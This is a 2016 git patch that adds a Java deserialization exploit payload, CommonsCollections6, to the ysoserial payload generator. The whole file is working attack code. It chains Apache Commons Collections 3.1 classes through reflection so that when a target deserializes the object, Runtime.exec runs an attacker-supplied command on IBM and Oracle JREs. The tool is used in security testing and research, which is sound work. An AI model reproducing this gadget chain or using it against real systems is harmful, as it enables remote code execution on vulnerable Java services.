From 39ea0590fb37a1cb29f49266996d6e0317d0bc07 Mon Sep 17 00:00:00 2001 From: matthiaskaiser Date: Mon, 4 Jul 2016 16:32:51 +0200 Subject: [PATCH] Adding general CC gadget that works with IBM and Oracle JRE --- .../payloads/CommonsCollections6.java | 107 ++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 src/main/java/ysoserial/payloads/CommonsCollections6.java diff --git a/src/main/java/ysoserial/payloads/CommonsCollections6.java b/src/main/java/ysoserial/payloads/CommonsCollections6.java new file mode 100644 index 0000000..8af4ad4 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections6.java @@ -0,0 +1,107 @@ +package ysoserial.payloads; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/* + Gadget chain: + java.io.ObjectInputStream.readObject() + java.util.HashSet.readObject() + java.util.HashMap.put() + java.util.HashMap.hash() + org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + org.apache.commons.collections.map.LazyMap.get() + org.apache.commons.collections.functors.ChainedTransformer.transform() + org.apache.commons.collections.functors.InvokerTransformer.transform() + java.lang.reflect.Method.invoke() + java.lang.Runtime.exec() + + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { + + public Serializable getObject(final String command) throws Exception { + + final String[] execArgs = new String[] { command }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + return map; + + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections6.class, args); + } +}